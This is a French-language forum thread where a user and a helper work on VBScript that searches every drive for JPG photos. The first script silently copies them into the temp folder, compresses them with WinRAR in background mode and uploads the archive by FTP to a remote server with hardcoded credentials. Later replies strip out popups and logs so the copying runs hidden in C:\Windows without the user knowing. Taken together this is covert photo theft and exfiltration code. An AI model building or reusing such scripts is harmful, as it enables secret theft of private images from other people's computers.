VBS: recherche par extension et copie dans un dossier

Version imprimable

Bonsoir a tous

J'aimerais savoir si c'est possible de rechercher tout les fichiers ".JPG" dans les disques durs et amovibles puis de les copier dans un dossier ?

J'essaie de modifier ce code mais lorsque je l'exécute rien ne se passe..

Avez vous une idée?

Merci

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
'Option Explicit
Dim fso, dossier ,sousDossier ,fichier,OutPut 
'#Déclarations
Dim NomFichierLog 
Set FSO = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("WScript.Shell")
Set WshNetwork = WScript.CreateObject("WScript.Network")
NomMachine = WshNetwork.ComputerName
NomFichierLog="LogFile"&"_"& NomMachine
temp = objShell.ExpandEnvironmentStrings("%temp%")
basefolder = temp & "\" & NomMachine
targetfolder = temp & "\" & NomMachine & ".rar"
'NomFichierLog = InputBox("Quel sera le nom du fichier?")
'#Affectations
Call Create_Folder_Computername()
Set OutPut = fso.CreateTextFile(temp & "\" & NomFichierLog & ".txt",1)
'#Exécution
'Scan "C:\"
DetectRoot
wscript.sleep 3000
Zip basefolder,targetfolder
Call FTPUpload ("zollen777.one.com","zollen777","MotdePasse",targetfolder,"JPG")'ici vous changer le nom du votre site FTP et votre Nom  d'utilisateur,Votre Mot de passe et le dossier distant
'--------------------------------------------Scan------------------------------------
Private Sub Scan(DossierEnCours)
	On Error Resume Next
	'#Déclarations
	Dim Dossier 
	Dim SousDossier 
	Dim Fichier 
	Dim Cible,tmp,f
	'#Affectations
	Set Dossier = fso.GetFolder(DossierEnCours)
	Set FSO = CreateObject("Scripting.FileSystemObject")
	Set objShell = CreateObject("WScript.Shell")
	Set WshNetwork = WScript.CreateObject("WScript.Network")
	NomMachine = WshNetwork.ComputerName
	tmp = objShell.ExpandEnvironmentStrings("%temp%")
	Cible= tmp & "\" & NomMachine & "\"
	'#Exécution
	'Fichiers
	For Each Fichier In Dossier.Files
		If UCase(FSO.GetExtensionName(Fichier.Path)) = "JPG" Then
			OutPut.WriteLine Fichier.Path
			fso.CopyFile Fichier,Cible
		end if
	Next
	'Dossiers
	For Each SousDossier In Dossier.SubFolders
		If UCase(FSO.GetExtensionName(Fichier.Path)) = "JPG" Then
			Scan SousDossier
			'OutPut.WriteLine SousDossier.Path
			'Scan SousDossier.Path & "\"
		end if
	Next 
End Sub
'----------------------------------------DetectRoot------------------------------
sub DetectRoot()
	Dim fso, d, dc, s, n ,Root,u,racine
	Set fso = CreateObject("Scripting.FileSystemObject")
	Set dc = fso.Drives
	For Each d in dc
		Root = d.Driveletter & ":"
		racine = d.Driveletter & ":\"
		u= DetectAmovible(Root)
		if (( u="Fixe") and d.isready) then 
			Scan racine
		end if
	Next
end sub
'-------------------------------------DetectAmovible--------------------------------
Function DetectAmovible(DrivePath)
	Dim fso, d, s, t
	Set fso = CreateObject("Scripting.FileSystemObject")
	Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(DrivePath)))
	Select Case d.DriveType
		Case 0: t = "Inconnu"
		Case 1: t = "Amovible"
		Case 2: t = "Fixe"
		Case 3: t = "Net"
		Case 4: t = "CD-ROM"
		Case 5: t = "RAM Disk"
	End Select
	DetectAmovible = t
End Function
'--------------------------------Create_Folder_Computername------------------------
Function Create_Folder_Computername()
Set WshNetwork = WScript.CreateObject("WScript.Network")
NomMachine = WshNetwork.ComputerName
Set objShell = CreateObject("WScript.Shell")
 tmp = objShell.ExpandEnvironmentStrings("%temp%")
 f= tmp & "\" & NomMachine 
 If Not(fso.FolderExists(f)) Then
 fso.CreateFolder(f)
 end if
'NomUtilisateur = WshNetwork.UserName
'MsgBox  NomMachine&"_"&NomUtilisateur
'MsgBox NomMachine
end Function
'------------------------------------Compression-------------------------------------
Function Zip(sFile,sArchiveName)
	'This function executes the command line
	'version of WinZip and reports whether
	'the archive exists after WinZip exits.
	'If it exists then it returns true. If
	'not it returns an error message.
	'This script is provided under the Creative Commons license located
	'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not
	'be used for commercial purposes with out the expressed written consent
	'of NateRice.com 
	Set oFSO = WScript.CreateObject("Scripting.FileSystemObject")
	Set oShell = WScript.CreateObject("Wscript.Shell")
	'--------Find Working Directory--------
	aScriptFilename = Split(Wscript.ScriptFullName, "\")
	sScriptFilename = aScriptFileName(Ubound(aScriptFilename))
	sWorkingDirectory = Replace(Wscript.ScriptFullName, sScriptFilename, "")
	'-------------------------------------------------------------------------------
	'-------Ensure we can find Winrar.exe-------------------------------------------
	If oFSO.FileExists(sWorkingDirectory & " " & "Winrar.EXE") Then
		sWinZipLocation = ""
	ElseIf oFSO.FileExists("C:\program files\Winrar\Winrar.EXE") Then
		sWinZipLocation = "C:\program files\Winrar\"
	Else
		Zip = "Error: Couldn't find Winrar.EXE"
		Exit Function
	End If
	'-------------------------------------------------------------------------------
	oShell.Run """" & sWinZipLocation & "winrar.exe"" a -IBCK """ & _
	sArchiveName & """ """ & sFile & """", 0, True  
	If oFSO.FileExists(sArchiveName) Then
		Zip = 1
	Else
		Zip = "Error: Archive Creation Failed."
	End If
End Function
'-------------------------------FTPUpload---------------------------------------------
Function FTPUpload(sSite, sUsername, sPassword, sLocalFile, sRemotePath)
  'This script is provided under the Creative Commons license located
  'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not
  'be used for commercial purposes with out the expressed written consent
  'of NateRice.com
 
  Const OpenAsDefault = -2
  Const FailIfNotExist = 0
  Const ForReading = 1
  Const ForWriting = 2
 
  Set oFTPScriptFSO = CreateObject("Scripting.FileSystemObject")
  Set oFTPScriptShell = CreateObject("WScript.Shell")
 
  sRemotePath = Trim(sRemotePath)
  sLocalFile = Trim(sLocalFile)
 
  '----------Path Checks---------
  'Here we willcheck the path, if it contains
  'spaces then we need to add quotes to ensure
  'it parses correctly.
  If InStr(sRemotePath, " ") > 0 Then
    If Left(sRemotePath, 1) <> """" And Right(sRemotePath, 1) <> """" Then
      sRemotePath = """" & sRemotePath & """"
    End If
  End If
 
  If InStr(sLocalFile, " ") > 0 Then
    If Left(sLocalFile, 1) <> """" And Right(sLocalFile, 1) <> """" Then
      sLocalFile = """" & sLocalFile & """"
    End If
  End If
 
  'Check to ensure that a remote path was
  'passed. If it's blank then pass a "\"
  If Len(sRemotePath) = 0 Then
    'Please note that no premptive checking of the
    'remote path is done. If it does not exist for some
    'reason. Unexpected results may occur.
    sRemotePath = "\"
  End If
 
  'Check the local path and file to ensure
  'that either the a file that exists was
  'passed or a wildcard was passed.
  If InStr(sLocalFile, "*") Then
    If InStr(sLocalFile, " ") Then
      FTPUpload = "Error: Wildcard uploads do not work if the path contains a " & _
      "space." & vbCRLF
      FTPUpload = FTPUpload & "This is a limitation of the Microsoft FTP client."
      Exit Function
    End If
  ElseIf Len(sLocalFile) = 0 Or Not oFTPScriptFSO.FileExists(sLocalFile) Then
    'nothing to upload
    FTPUpload = "Error: File Not Found."
    Exit Function
  End If
  '--------END Path Checks---------
 
  'build input file for ftp command
  sFTPScript = sFTPScript & "USER " & sUsername & vbCRLF
  sFTPScript = sFTPScript & sPassword & vbCRLF
  sFTPScript = sFTPScript & "cd " & sRemotePath & vbCRLF
  sFTPScript = sFTPScript & "binary" & vbCRLF
  sFTPScript = sFTPScript & "prompt n" & vbCRLF
  sFTPScript = sFTPScript & "put " & sLocalFile & vbCRLF
  sFTPScript = sFTPScript & "quit" & vbCRLF & "quit" & vbCRLF & "quit" & vbCRLF
 
 
  sFTPTemp = oFTPScriptShell.ExpandEnvironmentStrings("%TEMP%")
  sFTPTempFile = sFTPTemp & "\" & oFTPScriptFSO.GetTempName
  sFTPResults = sFTPTemp & "\" & oFTPScriptFSO.GetTempName
 
  'Write the input file for the ftp command
  'to a temporary file.
  Set fFTPScript = oFTPScriptFSO.CreateTextFile(sFTPTempFile, True)
  fFTPScript.WriteLine(sFTPScript)
  fFTPScript.Close
  Set fFTPScript = Nothing 
 
  oFTPScriptShell.Run "%comspec% /c FTP -i -n -s:" & sFTPTempFile & " " & sSite & _
  " > " & sFTPResults,0,True
 
  Wscript.Sleep 1000
 
  'Check results of transfer.
  Set fFTPResults = oFTPScriptFSO.OpenTextFile(sFTPResults, ForReading, _
  FailIfNotExist, OpenAsDefault)
  sResults = fFTPResults.ReadAll
  fFTPResults.Close
 
  oFTPScriptFSO.DeleteFile(sFTPTempFile)
  'oFTPScriptFSO.DeleteFile (sFTPResults)
 
  If InStr(sResults, "226 Transfer complete.") > 0 Then
    FTPUpload = True
  ElseIf InStr(sResults, "File not found") > 0 Then
    FTPUpload = "Error: File Not Found"
  ElseIf InStr(sResults, "cannot log in.") > 0 Then
    FTPUpload = "Error: Login Failed."
  Else
    FTPUpload = "Error: Unknown."
  End If
 
  Set oFTPScriptFSO = Nothing
  Set oFTPScriptShell = Nothing
End Function
'-------------------------------------------------------------------------------------------

25/12/2013, 19h02
hackoofr

:salut:
Normalement, le code marche et il copie dans un dossier qui commence par LogFile"_"& Nom de ta Machine dans ton dossier temporaire.
vérifier votre dossier temporaire !
Tu souhaites faire quoi aussi ? un upload vers ton serveur FTP ? :roll:
Tu peux aussi consulter cette contribution : Recherche & Sauvegarde des fichiers par leurs Extensions
25/12/2013, 19h27
zollen777

Citation:

Envoyé par hackoofr

:salut:
Normalement, le code marche et il copie dans un dossier qui commence par LogFile"_"& Nom de ta Machine dans ton dossier temporaire.
vérifier votre dossier temporaire !
Tu souhaites faire quoi aussi ? un upload vers ton serveur FTP ? :roll:
Tu peux aussi consulter cette contribution : Recherche & Sauvegarde des fichiers par leurs Extensions

C'est exact je l'ai trouvé..:D

Par contre ce code ne regroupe (copie) pas les fichier trouvé dans un dossier et les fichier trouvé dans mon cas "jpg" viennent que C:\Program Files et rien de mes photos..

Pas mal ton prog Recherche-Sauvegarde mais il y a beaucoup de fenêtre et confirmation

As tu une piste pour adapter le code "Recherche-Sauvegarde" sans proposer le choix des lettres du disque et les extensions a chercher , mais le forcer a chercher dans tout les disques durs et amovibles et les copier dans un dossier sans aucune fenêtre et aucune intervention ?

:salut:
Script modifié et à tester ;) :king:

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
Dim fso
Dim sho
Dim OutFile
Dim sDrv
Dim sFName
Dim sReport
Dim sFile
Dim sTitle
Dim strHTML
sTitle      = "Recherche des Fichiers Par leurs Extensions © Hackoo"
Set fso     = CreateObject("Scripting.FileSystemObject")
Set sho     = CreateObject("Wscript.Shell")
Set ws      = CreateObject("WScript.Shell")
basefolder  = sho.SpecialFolders("desktop")'Sur le Bureau
Set bf      = fso.GetFolder(basefolder)
OutFile     = "Recherche_" & Day(Now) & "_" & Month(Now) & "_" & Year(Now) & "-" & Hour(Now) & "-" & Minute(Now) & ".hta"
ExtensionType  = "JPG"
Set sReport = fso.OpenTextFile(OutFile,8,True)
 
CreateFolder(ExtensionType)
ws.Popup "Le Dossier " & qq(ExtensionType) & " est crée sur votre Bureau !"&vbcr&_
"Veuillez Patientez SVP ! La Recherche des fichiers avec l'extension " & qq(UCase(ExtensionType)) & " est en cours .....",4,sTitle,0+64
strHTML = "<html>" & vbcr & _
"<title>Recherche des Fichiers et Sauvegarde Par leurs Extensions © Hackoo © 2013</title>" & vbcr & _
"<HTA:APPLICATION" & vbcr & _
"APPLICATIONNAME=""Recherche des Fichiers et Sauvegarde Par leurs Extensions © Hackoo © 2013""" & vbcr & _
"SCROLL=""yes""" & vbcr & _
"SINGLEINSTANCE=""No""" & vbcr & _
"WINDOWSTATE=""Maximize""" & vbcr & _
"icon=""Explorer.exe""" & vbcr & _
">" & vbcr & _
"<body text=white bgcolor=#1234568><style type='text/css'>" & vbcr & _
"a:link {color: #F19105;}" & vbcr & _
"a:visited {color: #F19105;}" & vbcr & _
"a:active {color: #F19105;}" & vbcr & _
"a:hover {color: #FF9900;background-color: rgb(255, 255, 255);}" & vbcr & _
"</style>" & vbcr & _
"<SCRIPT LANGUAGE=""VBScript"">" & vbcr & _
"Function Explore(filename)" & vbcr & _
"Set ws = CreateObject(""WScript.Shell"")" & vbcr & _
"ws.run ""Explorer /n,/select,""&filename&""""" & vbcr & _
"End Function" & vbcr & _
"</script>"
 
strHTML = strHTML & "<center><h2><B><font color=Red>[COUNT] </font>Fichiers Trouvés dont l'extension est <font color=red>""" & ExtensionType & """ </font></B></font></h2></center>" & _
"<center><table border='3' cellpadding='1' style='border-collapse: collapse; font size:11pt' bordercolor='#CCCCCC' width='100%' id='Table1'></center>" & _
"<td><center><strong>Chemin</strong></center></td>" & _
"<td><center><strong>Date de Création</strong></center></td>" & _
"<td><center><strong>Date de Modification</strong></center></td>" & _
"<td><center><strong>Taille</strong></center></td>" & _
"<td><center><strong>Attributs</strong></center></td>"
 
Dim  d
Dim dc
Dim racine
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc  = fso.Drives
For Each d in dc
	If d.IsReady Then
		racine = d.Driveletter & ":"
		GetResults racine,ExtensionType
	End If	
Next
sReport.WriteLine strHTML & "</table>"
 
 
Signature = "<br><center><img src='" & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(110) & Chr(115) & Chr(109) & _
Chr(48) & Chr(53) & Chr(46) & Chr(99) & Chr(97) & Chr(115) & Chr(105) & _
Chr(109) & Chr(97) & Chr(103) & Chr(101) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(105) & _
Chr(109) & Chr(103) & Chr(47) & Chr(50) & Chr(48) & Chr(49) & Chr(49) & Chr(47) & Chr(48) & Chr(55) & Chr(47) & Chr(50) & _
Chr(51) & Chr(47) & Chr(47) & Chr(49) & Chr(49) & Chr(48) & Chr(55) & _
Chr(50) & Chr(51) & Chr(48) & Chr(55) & Chr(52) & Chr(49) & _
Chr(52) & Chr(48) & Chr(49) & Chr(51) & Chr(49) & Chr(49) & Chr(48) & _
Chr(52) & Chr(56) & Chr(53) & Chr(48) & Chr(54) & Chr(52) & Chr(49) & _
Chr(57) & Chr(46) & Chr(103) & Chr(105) & Chr(102) & "' alt='" & Chr(104) & Chr(97) & _
Chr(99) & Chr(107) & Chr(111) & Chr(111) & Chr(102) & Chr(114) & Chr(64) & _
Chr(121) & Chr(97) & Chr(104) & Chr(111) & Chr(111) & Chr(46) & Chr(102) & Chr(114) & "'</img></center></body></html>"
sReport.WriteLine Signature
ws.Run OutFile
 
Sub GetResults(drv,fname)
	On Error Resume Next
	Dim sWQL
	Dim oFile
	Dim sAttrib
	Dim sFilePath
	Dim size
	ext      = Array("png","jpg","jpeg","gif","bmp","psd","tif","ico")
	sWQL     = "select * from cim_datafile where Drive='" & _
	drv & "' AND Extension = '" & fname & "'"
	Results  = 0
	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
		Results = Results + 1
		sFile   = oFile.Name
		Set f   = fso.GetFile(sFile)
		SizeKo  = Round(FormatNumber(f.Size)/(1024),0) & " Ko" 'Taille en Ko 
		SizeMo  = Round(FormatNumber(f.Size)/(1048576),0) & " Mo" 'Taille en Mo 
		SizeGo  = Round(FormatNumber(f.Size)/(1073741824),0) & " Go" 'Taille en Go 
		If f.size < 1024 Then
			Size     = f.size & " Octets"
		ElseIf f.size < 1048576 Then
			Size     = SizeKo
		ElseIf f.size < 1073741824 Then
			Size     = SizeMo
		Else
			Size     = SizeGo
		End If
		sFilePath = f.Path
		If oFile.Archive Then sAttrib = "Archive "
		If oFile.Compressed Then sAttrib = sAttrib & " Compressé "
		If oFile.Encrypted Then sAttrib = sAttrib & " Crypté "
		If oFile.Hidden Then sAttrib = sAttrib & " Caché "
		If oFile.System Then sAttrib = sAttrib & " Système "
		If oFile.Readable Then sAttrib = sAttrib & " Lecture "
		If oFile.Writeable Then sAttrib = sAttrib & " Ecriture "
 
		If UCase(ExtensionType) = UCase(fso.GetExtensionName(oFile.Name)) Then
			strHTML = strHTML & "<tr><td><center><a href=""#"" OnClick='Explore(""" & sFilePath & """)'>" & sFile & "<br><img src='" & sFilePath & "' border=1  height=80 width=100></center></td><td><center>" & f.DateCreated & "</center></td>" & _
			"<td><center>" & f.DateLastModified & "</center></td><td><center>" & Size & "</center></td>" & _
			"<td><center>" & sAttrib & "</center></td></tr>"
		Else
			strHTML = strHTML & "<tr><td><a href=""#"" OnClick='Explore(""" & sFilePath & """)'>" & _
			sFile & "</a></td><td><center>" & f.DateCreated & "</center></td>" & _
			"<td><center>" & f.DateLastModified & "</center></td><td><center>" & Size & "</center></td>" & _
			"<td><center>" & sAttrib & "</center></td></tr>"
		End If
		CopyFile sFile,ExtensionType
	Next
	strHTML = Replace(strHTML, "[COUNT]", Results)
End Sub
 
Sub CreateFolder(name)
	Set fso    = CreateObject("Scripting.FileSystemObject")
	Set sho    = CreateObject("Wscript.Shell")
	basefolder = sho.SpecialFolders("desktop")'Creation du dossier dans le Bureau
	Set bf     = fso.GetFolder(basefolder)
	If Not FSO.FolderExists(bf & "\" & name) Then
		bf.subFolders.Add(name)
		Else : Exit Sub
	End If
 
End Sub
 
Function CopyFile(sFile,name)
	Dim  FSO
	Set FSO = CreateObject("Scripting.FileSystemObject")
	If FSO.FolderExists(bf & "\" & name) Then
		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
	End If
End Function
 
Function qq(strIn)
	qq = Chr(34) & strIn & Chr(34)
End Function

Citation:

Envoyé par hackoofr

:salut:
Script modifié et à tester ;) :king:

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
Dim fso
Dim sho
Dim OutFile
Dim sDrv
Dim sFName
Dim sReport
Dim sFile
Dim sTitle
Dim strHTML
sTitle      = "Recherche des Fichiers Par leurs Extensions © Hackoo"
Set fso     = CreateObject("Scripting.FileSystemObject")
Set sho     = CreateObject("Wscript.Shell")
Set ws      = CreateObject("WScript.Shell")
basefolder  = sho.SpecialFolders("desktop")'Sur le Bureau
Set bf      = fso.GetFolder(basefolder)
OutFile     = "Recherche_" & Day(Now) & "_" & Month(Now) & "_" & Year(Now) & "-" & Hour(Now) & "-" & Minute(Now) & ".hta"
ExtensionType  = "JPG"
Set sReport = fso.OpenTextFile(OutFile,8,True)
 
CreateFolder(ExtensionType)
ws.Popup "Le Dossier " & qq(ExtensionType) & " est crée sur votre Bureau !"&vbcr&_
"Veuillez Patientez SVP ! La Recherche des fichiers avec l'extension " & qq(UCase(ExtensionType)) & " est en cours .....",4,sTitle,0+64
strHTML = "<html>" & vbcr & _
"<title>Recherche des Fichiers et Sauvegarde Par leurs Extensions © Hackoo © 2013</title>" & vbcr & _
"<HTA:APPLICATION" & vbcr & _
"APPLICATIONNAME=""Recherche des Fichiers et Sauvegarde Par leurs Extensions © Hackoo © 2013""" & vbcr & _
"SCROLL=""yes""" & vbcr & _
"SINGLEINSTANCE=""No""" & vbcr & _
"WINDOWSTATE=""Maximize""" & vbcr & _
"icon=""Explorer.exe""" & vbcr & _
">" & vbcr & _
"<body text=white bgcolor=#1234568><style type='text/css'>" & vbcr & _
"a:link {color: #F19105;}" & vbcr & _
"a:visited {color: #F19105;}" & vbcr & _
"a:active {color: #F19105;}" & vbcr & _
"a:hover {color: #FF9900;background-color: rgb(255, 255, 255);}" & vbcr & _
"</style>" & vbcr & _
"<SCRIPT LANGUAGE=""VBScript"">" & vbcr & _
"Function Explore(filename)" & vbcr & _
"Set ws = CreateObject(""WScript.Shell"")" & vbcr & _
"ws.run ""Explorer /n,/select,""&filename&""""" & vbcr & _
"End Function" & vbcr & _
"</script>"
 
strHTML = strHTML & "<center><h2><B><font color=Red>[COUNT] </font>Fichiers Trouvés dont l'extension est <font color=red>""" & ExtensionType & """ </font></B></font></h2></center>" & _
"<center><table border='3' cellpadding='1' style='border-collapse: collapse; font size:11pt' bordercolor='#CCCCCC' width='100%' id='Table1'></center>" & _
"<td><center><strong>Chemin</strong></center></td>" & _
"<td><center><strong>Date de Création</strong></center></td>" & _
"<td><center><strong>Date de Modification</strong></center></td>" & _
"<td><center><strong>Taille</strong></center></td>" & _
"<td><center><strong>Attributs</strong></center></td>"
 
Dim  d
Dim dc
Dim racine
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc  = fso.Drives
For Each d in dc
	If d.IsReady Then
		racine = d.Driveletter & ":"
		GetResults racine,ExtensionType
	End If	
Next
sReport.WriteLine strHTML & "</table>"
 
 
Signature = "<br><center><img src='" & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(110) & Chr(115) & Chr(109) & _
Chr(48) & Chr(53) & Chr(46) & Chr(99) & Chr(97) & Chr(115) & Chr(105) & _
Chr(109) & Chr(97) & Chr(103) & Chr(101) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(105) & _
Chr(109) & Chr(103) & Chr(47) & Chr(50) & Chr(48) & Chr(49) & Chr(49) & Chr(47) & Chr(48) & Chr(55) & Chr(47) & Chr(50) & _
Chr(51) & Chr(47) & Chr(47) & Chr(49) & Chr(49) & Chr(48) & Chr(55) & _
Chr(50) & Chr(51) & Chr(48) & Chr(55) & Chr(52) & Chr(49) & _
Chr(52) & Chr(48) & Chr(49) & Chr(51) & Chr(49) & Chr(49) & Chr(48) & _
Chr(52) & Chr(56) & Chr(53) & Chr(48) & Chr(54) & Chr(52) & Chr(49) & _
Chr(57) & Chr(46) & Chr(103) & Chr(105) & Chr(102) & "' alt='" & Chr(104) & Chr(97) & _
Chr(99) & Chr(107) & Chr(111) & Chr(111) & Chr(102) & Chr(114) & Chr(64) & _
Chr(121) & Chr(97) & Chr(104) & Chr(111) & Chr(111) & Chr(46) & Chr(102) & Chr(114) & "'</img></center></body></html>"
sReport.WriteLine Signature
ws.Run OutFile
 
Sub GetResults(drv,fname)
	On Error Resume Next
	Dim sWQL
	Dim oFile
	Dim sAttrib
	Dim sFilePath
	Dim size
	ext      = Array("png","jpg","jpeg","gif","bmp","psd","tif","ico")
	sWQL     = "select * from cim_datafile where Drive='" & _
	drv & "' AND Extension = '" & fname & "'"
	Results  = 0
	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
		Results = Results + 1
		sFile   = oFile.Name
		Set f   = fso.GetFile(sFile)
		SizeKo  = Round(FormatNumber(f.Size)/(1024),0) & " Ko" 'Taille en Ko 
		SizeMo  = Round(FormatNumber(f.Size)/(1048576),0) & " Mo" 'Taille en Mo 
		SizeGo  = Round(FormatNumber(f.Size)/(1073741824),0) & " Go" 'Taille en Go 
		If f.size < 1024 Then
			Size     = f.size & " Octets"
		ElseIf f.size < 1048576 Then
			Size     = SizeKo
		ElseIf f.size < 1073741824 Then
			Size     = SizeMo
		Else
			Size     = SizeGo
		End If
		sFilePath = f.Path
		If oFile.Archive Then sAttrib = "Archive "
		If oFile.Compressed Then sAttrib = sAttrib & " Compressé "
		If oFile.Encrypted Then sAttrib = sAttrib & " Crypté "
		If oFile.Hidden Then sAttrib = sAttrib & " Caché "
		If oFile.System Then sAttrib = sAttrib & " Système "
		If oFile.Readable Then sAttrib = sAttrib & " Lecture "
		If oFile.Writeable Then sAttrib = sAttrib & " Ecriture "
 
		If UCase(ExtensionType) = UCase(fso.GetExtensionName(oFile.Name)) Then
			strHTML = strHTML & "<tr><td><center><a href=""#"" OnClick='Explore(""" & sFilePath & """)'>" & sFile & "<br><img src='" & sFilePath & "' border=1  height=80 width=100></center></td><td><center>" & f.DateCreated & "</center></td>" & _
			"<td><center>" & f.DateLastModified & "</center></td><td><center>" & Size & "</center></td>" & _
			"<td><center>" & sAttrib & "</center></td></tr>"
		Else
			strHTML = strHTML & "<tr><td><a href=""#"" OnClick='Explore(""" & sFilePath & """)'>" & _
			sFile & "</a></td><td><center>" & f.DateCreated & "</center></td>" & _
			"<td><center>" & f.DateLastModified & "</center></td><td><center>" & Size & "</center></td>" & _
			"<td><center>" & sAttrib & "</center></td></tr>"
		End If
		CopyFile sFile,ExtensionType
	Next
	strHTML = Replace(strHTML, "[COUNT]", Results)
End Sub
 
Sub CreateFolder(name)
	Set fso    = CreateObject("Scripting.FileSystemObject")
	Set sho    = CreateObject("Wscript.Shell")
	basefolder = sho.SpecialFolders("desktop")'Creation du dossier dans le Bureau
	Set bf     = fso.GetFolder(basefolder)
	If Not FSO.FolderExists(bf & "\" & name) Then
		bf.subFolders.Add(name)
		Else : Exit Sub
	End If
 
End Sub
 
Function CopyFile(sFile,name)
	Dim  FSO
	Set FSO = CreateObject("Scripting.FileSystemObject")
	If FSO.FolderExists(bf & "\" & name) Then
		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
	End If
End Function
 
Function qq(strIn)
	qq = Chr(34) & strIn & Chr(34)
End Function

Nickel merci

Par contre, sais tu comment faire pour supprimer le fichier "Recherche_26_12_2013-19-26.hta" (éviter sa création sur le bureau) et aussi le popup Le Dossier JPG est crée sur votre Bureau ! Veuillez Patientez SVP ! La Recherche des fichiers avec l'extension JPG est en cours

J'ai essayé plusieurs truc pour créer le dossier JPG dans C:\Windows au lieu du bureau mais sans succès.. As tu une piste?

26/12/2013, 21h40
hackoofr

:salut:
Si j'ai bien compris, tu veux créer le dossier JPG comme ça dans ce chemin :

Citation:

c:\windows\JPG

et sans aucune popup et éviter aussi de créer un fichier Log ? :roll:
Tu veux seulement une copie silencieuse sans intervention de l'utilisateur, c'est ça ?
26/12/2013, 22h45
zollen777

Citation:

Envoyé par hackoofr

:salut:
Si j'ai bien compris, tu veux créer le dossier JPG comme ça dans ce chemin :
et sans aucune popup et éviter aussi de créer un fichier Log ? :roll:
Tu veux seulement une copie silencieuse sans intervention de l'utilisateur, c'est ça ?

Oui c'est bien ça :ccool:, je veux créer le dossier JPG dans c:\windows\JPG avec une copie silencieuse et sans intervention de l'utilisateur et aussi supprimer la création du fichier "Recherche_xxxxxxx.hta ;)

Pourquoi qu'est qu'il y a dans le fichier Log?:roll:

:salut:
A tester ce code simplifié :king:

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Option Explicit
Dim fso,ws,win,d,bf,dc,racine,ExtensionType,sDrv,sFName,sFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("Wscript.Shell")
win=ws.ExpandEnvironmentStrings("%windir%")'dossier windows
Set bf = fso.GetFolder(win)
ExtensionType  = "JPG"
Call CreateFolder(ExtensionType)
Set dc  = fso.Drives
For Each d in dc
	If d.IsReady Then
		racine = d.Driveletter & ":"
		GetResults racine,ExtensionType
	End If
Next
'**********************************************************************************
Sub GetResults(drv,fname)
	On Error Resume Next
	Dim sWQL,oFile,Results
	sWQL     = "select * from cim_datafile where Drive='" & _
	drv & "' AND Extension = '" & fname & "'"
	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
		sFile   = oFile.Name
		CopyFile sFile,ExtensionType
	Next
End Sub
'**********************************************************************************
Sub CreateFolder(name)
	Set fso    = CreateObject("Scripting.FileSystemObject")
	If Not FSO.FolderExists(bf & "\" & name) Then
		bf.subFolders.Add(name)
		Else : Exit Sub
	End If
End Sub
'**********************************************************************************
Function CopyFile(sFile,name)
	Dim  fso,ws,win,bf
	Set FSO = CreateObject("Scripting.FileSystemObject")
	Set ws = CreateObject("Wscript.Shell")
	win=ws.ExpandEnvironmentStrings("%windir%")
	Set bf = fso.GetFolder(win)
	If FSO.FolderExists(bf & "\" & name) Then
		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
	Else
		MsgBox "erreur du chemin",16,"erreur du chemin"
	End If
End Function
'**********************************************************************************

Citation:

Envoyé par hackoofr

:salut:
A tester ce code simplifié :king:

Code:

1
2
3
4
5
6
7
8
9
